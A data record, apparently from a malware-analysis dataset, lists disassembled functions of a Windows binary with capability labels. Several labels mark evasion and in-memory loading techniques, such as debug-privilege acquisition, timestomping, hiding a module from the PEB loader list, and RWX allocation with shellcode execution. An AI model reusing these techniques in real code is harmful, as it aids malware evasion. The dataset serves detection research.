joyce8/EMBER2024-capa huggingface dataset:
Function at 0x23152a7c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.2315363c
test esi, esi
jne 0x23152ab3
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.2315372c
jmp 0x23152ad4
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.23152918
mov dword [esp], eax
test esi, esi
je 0x23152ad4
cmp dword [ebx], 0
je 0x23152ad4
dec esi
jmp 0x23152abb
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x23152b9c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x23173008], 0x8088405
inc edx
mov dword [ebx + 0x23173008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x23152d30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x23173010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x23152dc8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x23152da8
xor eax, eax
push ebp
push 0x23152da1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x23152de4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x23152da8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x23173010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x23173010], ax
mov esp, ebp
pop ebp
ret

Function at 0x231534b8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x23174034], 0
je 0x23153519
cmp word [0x23174208], 0xd7b2
jne 0x231534e1
cmp dword [0x23174210], 0
jbe 0x231534e1
mov eax, 0x23174204
call dword [0x23174220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x23173058
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x23153540
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x2317301c], 0
jne 0x23153535
push 0
push 0x23173050
push 0x23173058
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x23153bfc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x23153c62
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.231537a8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.23152c24
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x23153c4c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x23153c69
lea eax, [ebp - 0x10]
call fcn.2315363c
ret
Function at 0x231669f8
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.231539b0
xor eax, eax
push ebp
push 0x23166a6c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x108]
mov edx, 0x104
call fcn.231541d8
push 0x104
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp - 4]
call fcn.231539c0
push eax
call sub.kernel32.dll_GetEnvironmentVariableA
mov ecx, eax
lea edx, [ebp - 0x108]
mov eax, ebx
call fcn.2315372c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x23166a73
lea eax, [ebp - 4]
call fcn.2315363c
ret

Function at 0x23166aa0
Capabilities:
Create directory
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
xor edx, edx
mov dword [ebp - 0x120], edx
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x11c], edx
mov dword [ebp - 0x118], edx
mov dword [ebp - 0x114], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.231539b0
xor eax, eax
push ebp
push 0x23166c9d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, 0x23166cb4
call fcn.231536d4
mov eax, 0x23166cc8
call fcn.2316793c
test al, al
je 0x23166b13
lea eax, [ebp - 0xc]
mov edx, 0x23166cdc
call fcn.231536d4
jmp 0x23166b2e
mov eax, 0x23166cf0
call fcn.2316793c
test al, al
je 0x23166b2e
lea eax, [ebp - 0xc]
mov edx, 0x23166d08
call fcn.231536d4
mov edx, dword [ebp - 4]
mov eax, 0x23166d20
call fcn.231667f8
test al, al
je 0x23166b77
lea eax, [ebp - 0x114]
mov edx, dword [ebp - 4]
mov dl, byte [edx]
call fcn.2315375c
lea eax, [ebp - 0x114]
mov edx, dword [ebp - 0xc]
call fcn.231537c8
mov eax, dword [ebp - 0x114]
call fcn.231539c0
push eax
lea eax, [ebp - 0x110]
push eax
call sub.kernel32.dll_lstrcpyA
jmp 0x23166bbf
lea eax, [ebp - 0x110]
push eax
push 0x104
call sub.kernel32.dll_GetCurrentDirectoryA
lea eax, [ebp - 0x118]
mov dl, byte [ebp - 0x110]
call fcn.2315375c
lea eax, [ebp - 0x118]
mov edx, dword [ebp - 0xc]
call fcn.231537c8
mov eax, dword [ebp - 0x118]
call fcn.231539c0
push eax
lea eax, [ebp - 0x110]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x11c]
lea edx, [ebp - 0x110]
mov ecx, 0x104
call fcn.231537a8
mov eax, dword [ebp - 0x11c]
call fcn.2316793c
test al, al
jne 0x23166bf2
push 0
lea eax, [ebp - 0x110]
push eax
call sub.kernel32.dll_CreateDirectoryA
call fcn.23152ae0
lea eax, [ebp - 0x120]
lea edx, [ebp - 0x110]
mov ecx, 0x104
call fcn.231537a8
push dword [ebp - 0x120]
push 0x23166d2c
mov eax, 0x270f
call fcn.23152b9c
lea edx, [ebp - 0x124]
call fcn.23167068
push dword [ebp - 0x124]
push 0x23166d38
lea eax, [ebp - 8]
mov edx, 4
call fcn.23153880
push 9
mov eax, dword [ebp - 8]
call fcn.231539c0
push eax
mov eax, dword [ebp - 4]
call fcn.231539c0
push eax
call sub.kernel32.dll_MoveFileExA
push 0x64
call sub.kernel32.dll_Sleep
mov eax, dword [ebp - 4]
call fcn.23167388
mov ebx, eax
xor bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x23166ca4
lea eax, [ebp - 0x124]
mov edx, 5
call fcn.23153660
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.23153660
ret
Function at 0x23166db8
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.231539b0
xor eax, eax
push ebp
push 0x23166e0c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 4]
call fcn.231539c0
mov ebx, eax
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x23166e13
lea eax, [ebp - 4]
call fcn.2315363c
ret

Function at 0x23166e1c
Capabilities:
Acquire debug privileges

Disassembly:
add esp, 0xffffffe8
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x23166e75
lea eax, [esp + 0xc]
push eax
push 0x23166e7c
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
lea eax, [esp + 4]
push eax
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
mov eax, dword [esp]
push eax
call sub.kernel32.dll_CloseHandle
add esp, 0x18
ret

Function at 0x23166e90
Capabilities:
Create thread

Disassembly:
push ecx
push esp
push 0
push edx
push eax
push 0
push 0
call sub.kernel32.dll_CreateThread
pop edx
ret

Function at 0x23166ea4
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.231539b0
xor eax, eax
push ebp
push 0x23166f16
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x48000080
push 3
push 0
push 3
push 0
mov eax, dword [ebp - 4]
call fcn.231539c0
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov esi, eax
cmp ebx, 0xffffffff
jne 0x23166ef3
xor esi, esi
cmp esi, 0xffffffff
jne 0x23166efa
xor esi, esi
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x23166f1d
lea eax, [ebp - 4]
call fcn.2315363c
ret
Function at 0x23166f24
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.231539b0
mov eax, dword [ebp - 8]
call fcn.231539b0
xor eax, eax
push ebp
push 0x23166fff
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
cmp dword [ebp - 4], 0
jne 0x23166f66
lea edx, [ebp - 4]
mov eax, 0x23167018
call fcn.231674dc
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.231539c0
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 8]
call fcn.231539c0
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
push edi
call sub.kernel32.dll_GetFileTime
test eax, eax
je 0x23166fd8
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_SetFileTime
cmp eax, 1
sbb ebx, ebx
inc ebx
push esi
call sub.kernel32.dll_CloseHandle
push edi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x23167006
lea eax, [ebp - 8]
mov edx, 2
call fcn.23153660
ret

Function at 0x23167398
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
mov eax, esp
mov edx, 0x104
call fcn.231541d8
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.2315372c
add esp, 0x104
pop ebx
ret

Function at 0x231675c0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.231539b0
xor eax, eax
push ebp
push 0x23167632
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 3
push 0
push 3
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.231539c0
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x23167610
call sub.kernel32.dll_GetLastError
cmp eax, 2
jne 0x23167614
xor ebx, ebx
jmp 0x23167616
mov bl, 1
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x23167639
lea eax, [ebp - 4]
call fcn.2315363c
ret
Function at 0x23167640
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.231539b0
mov eax, dword [ebp - 8]
call fcn.231539b0
xor eax, eax
push ebp
push 0x23167745
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x14]
mov eax, 0x2316775c
call fcn.231674dc
mov eax, dword [ebp - 0x14]
call fcn.23167388
test al, al
jne 0x2316771d
cmp byte [0x231730c0], 0
je 0x2316771d
cmp dword [ebp - 8], 0
jne 0x231676b0
lea edx, [ebp - 8]
mov eax, 0x23167770
call fcn.231674dc
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
mov eax, dword [ebp - 8]
call fcn.231539c0
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x2316771d
push 2
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
lea eax, [ebp - 0x18]
mov ecx, 0x23167788
mov edx, dword [ebp - 4]
call fcn.2315380c
mov eax, dword [ebp - 0x18]
call fcn.231539c0
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
call fcn.231672b8
push eax
mov eax, dword [ebp - 0x10]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2316774c
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.23153660
lea eax, [ebp - 8]
mov edx, 2
call fcn.23153660
ret

Function at 0x2316793c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.231539c0
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x23167955
test al, 0x10
jne 0x23167959
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x23167960
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov esi, edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.231539b0
xor eax, eax
push ebp
push 0x231679f2
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.23166db8
test edi, edi
je 0x231679dc
test esi, esi
je 0x231679dc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 4]
call fcn.231539c0
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x231679dc
push 0
lea eax, [ebp - 0xc]
push eax
push esi
push edi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
cmp esi, dword [ebp - 0xc]
sete byte [ebp - 5]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x231679f9
lea eax, [ebp - 4]
call fcn.2315363c
ret
Function at 0x23167b00
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.231539b0
mov eax, dword [ebp - 8]
call fcn.231539b0
xor eax, eax
push ebp
push 0x23167b6f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 8]
call fcn.231539c0
push eax
mov eax, dword [ebp - 4]
call fcn.231539c0
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
mov edx, dword [ebp - 8]
xor eax, eax
call fcn.23166f24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x23167b76
lea eax, [ebp - 8]
mov edx, 2
call fcn.23153660
ret

Function at 0x23167c9c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov edi, eax
lea ebx, [ebp - 0x10]
lea esi, [ebp - 0xc]
mov eax, edi
call fcn.231539c0
push eax
call sub.kernel32.dll_GetModuleHandleA
mov edx, eax
test edx, edx
je 0x23167d46
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
je 0x23167d46
mov eax, dword [ebp - 4]
add eax, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x23167d46
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, dword [esi]
mov dword [ebx], eax
cmp dword [ebx], 0
je 0x23167d46
mov eax, dword [ebx]
cmp edx, dword [eax + 0x18]
jne 0x23167d39
mov edx, dword [ebx]
mov edx, dword [edx]
mov eax, dword [ebx]
mov eax, dword [eax + 4]
mov dword [eax], edx
mov edx, dword [ebx]
mov edx, dword [edx]
mov dword [edx + 4], eax
mov edx, dword [ebx]
mov edx, dword [edx + 0x10]
mov eax, dword [ebx]
mov eax, dword [eax + 0x14]
mov dword [eax], edx
mov edx, dword [ebx]
mov edx, dword [edx + 0x10]
mov dword [edx + 4], eax
mov edx, dword [ebx]
mov edx, dword [edx + 8]
mov eax, dword [ebx]
mov eax, dword [eax + 0xc]
mov dword [eax], edx
mov edx, dword [ebx]
mov edx, dword [edx + 8]
mov dword [edx + 4], eax
jmp 0x23167d46
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, dword [ebp - 8]
cmp eax, dword [esi]
jne 0x23167ced
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x23167d50
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x23167d59
mov eax, dword [ebp - 4]
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.231539b0
lea edi, [ebp - 0xc]
xor eax, eax
push ebp
push 0x23167e5a
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebx], eax
xor eax, eax
mov dword [ebp - 8], eax
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.231539c0
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x23167e44
push 0
push esi
call sub.kernel32.dll_GetFileSize
mov dword [ebx], eax
cmp dword [ebx], 0
je 0x23167e44
mov eax, dword [ebx]
call fcn.231527c4
mov dword [ebp - 8], eax
xor ebx, ebx
push 0
push edi
push 0x2000
lea eax, [ebp - 0x200c]
push eax
push esi
call sub.kernel32.dll_ReadFile
cmp dword [edi], 0x2000
jne 0x23167e27
lea edx, [ebp - 0x200c]
mov eax, dword [ebp - 8]
add eax, ebx
mov ecx, dword [edi]
call fcn.231541d0
add ebx, dword [edi]
push 0
push edi
push 0x2000
lea eax, [ebp - 0x200c]
push eax
push esi
call sub.kernel32.dll_ReadFile
cmp dword [edi], 0x2000
je 0x23167df6
cmp dword [edi], 0
jbe 0x23167e3e
lea edx, [ebp - 0x200c]
mov eax, dword [ebp - 8]
add eax, ebx
mov ecx, dword [edi]
call fcn.231541d0
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x23167e61
lea eax, [ebp - 4]
call fcn.2315363c
ret
Function at 0x2316859c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x2316869b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.2315363c
test esi, esi
je 0x23168685
cmp word [esi], 0x5a4d
jne 0x23168685
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
jne 0x23168685
mov eax, dword [ebp - 8]
add eax, 0x78
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x23168685
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
je 0x23168685
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
mov eax, dword [ebp - 8]
call fcn.231682e0
add eax, esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0x20]
mov eax, dword [ebp - 8]
call fcn.231682e0
add eax, esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax + 0x18]
dec ebx
test ebx, ebx
jl 0x23168685
inc ebx
xor edi, edi
mov eax, edi
shl eax, 2
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x23168681
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
mov eax, dword [ebp - 8]
call fcn.231682e0
mov edx, eax
add edx, esi
lea eax, [ebp - 0x14]
call fcn.2315376c
mov eax, dword [ebp - 4]
push dword [eax]
push dword [ebp - 0x14]
push 0x231686b4
mov eax, dword [ebp - 4]
mov edx, 3
call fcn.23153880
inc edi
dec ebx
jne 0x2316863d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x231686a2
lea eax, [ebp - 0x14]
call fcn.2315363c
ret
Function at 0x23168990
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffec
mov ebp, eax
xor ebx, ebx
mov eax, ebp
call fcn.23169074
test al, al
je 0x231689b5
lea edx, [esp + 4]
mov eax, ebp
call fcn.23168cdc
mov edi, eax
jmp 0x231689b7
mov edi, ebp
test edi, edi
je 0x23168b5c
mov dword [esp], edi
mov eax, dword [esp]
mov eax, dword [eax]
cmp eax, dword [0x231730c4]
je 0x231689db
cmp eax, dword [0x231730c8]
jne 0x23168b5c
push 0x23168b68
push 0x23168b78
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [0x23174680], eax
push 0x40
push 0x1000
mov eax, dword [esp + 8]
mov eax, dword [eax + 0xc]
push eax
mov eax, dword [esp + 0xc]
mov eax, dword [eax + 4]
push eax
call dword [0x23174680]
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
jne 0x23168a38
push 0x40
push 0x1000
mov eax, dword [esp + 8]
mov eax, dword [eax + 0xc]
push eax
push 0
call dword [0x23174680]
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
je 0x23168b5c
mov eax, dword [esp]
mov ebx, dword [eax + 0x10]
test ebx, ebx
jle 0x23168a83
mov esi, 1
mov edx, esi
mov eax, dword [esp]
call fcn.231683b0
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov ecx, dword [eax + 4]
mov eax, dword [esp + 8]
mov edx, dword [eax]
add edx, edi
mov eax, dword [esp + 8]
mov eax, dword [eax + 8]
add eax, dword [esp + 0xc]
call fcn.231541d0
inc esi
dec ebx
jne 0x23168a52
mov eax, dword [esp + 0xc]
mov word [eax], 0x5a4d
mov eax, dword [esp + 0xc]
add eax, 0x3c
mov word [eax], 0xc
mov eax, dword [esp + 0xc]
add eax, 0xc
mov word [eax], 0x4550
mov eax, dword [esp + 0xc]
mov edx, eax
add edx, 0x3c
movzx edx, word [edx]
add edx, eax
mov dword [esp + 0x10], edx
mov eax, dword [esp]
mov eax, dword [eax + 8]
mov edx, dword [esp + 0x10]
mov dword [edx + 0x28], eax
mov eax, dword [esp]
mov eax, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
mov dword [edx + 0x50], eax
mov eax, dword [esp]
mov eax, dword [eax + 0x18]
mov edx, dword [esp + 0x10]
mov dword [edx + 0x78], eax
mov eax, dword [esp]
mov eax, dword [eax + 0x20]
mov edx, dword [esp + 0x10]
mov dword [edx + 0x88], eax
mov eax, dword [esp]
mov eax, dword [eax + 4]
mov edx, dword [esp + 0x10]
mov dword [edx + 0x34], eax
mov eax, dword [esp + 0x10]
mov edx, dword [0x231730c8]
mov dword [eax + 0x70], edx
mov eax, dword [esp + 0x10]
mov word [eax + 0x18], 0x10b
mov eax, dword [esp + 0x10]
mov dword [eax + 0x74], 0x10
mov eax, dword [esp]
mov eax, dword [eax + 0xc]
mov edx, dword [esp]
sub eax, dword [edx + 0x20]
mov edx, dword [esp + 0x10]
mov dword [edx + 0x8c], eax
mov eax, dword [esp + 0x10]
mov word [eax + 0x48], 4
mov eax, dword [esp + 0x10]
mov word [eax + 0x4a], 0
mov ebx, dword [esp + 0xc]
mov eax, ebp
call fcn.23169074
test al, al
je 0x23168b5c
mov eax, edi
call fcn.231527f4
mov eax, ebx
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
ret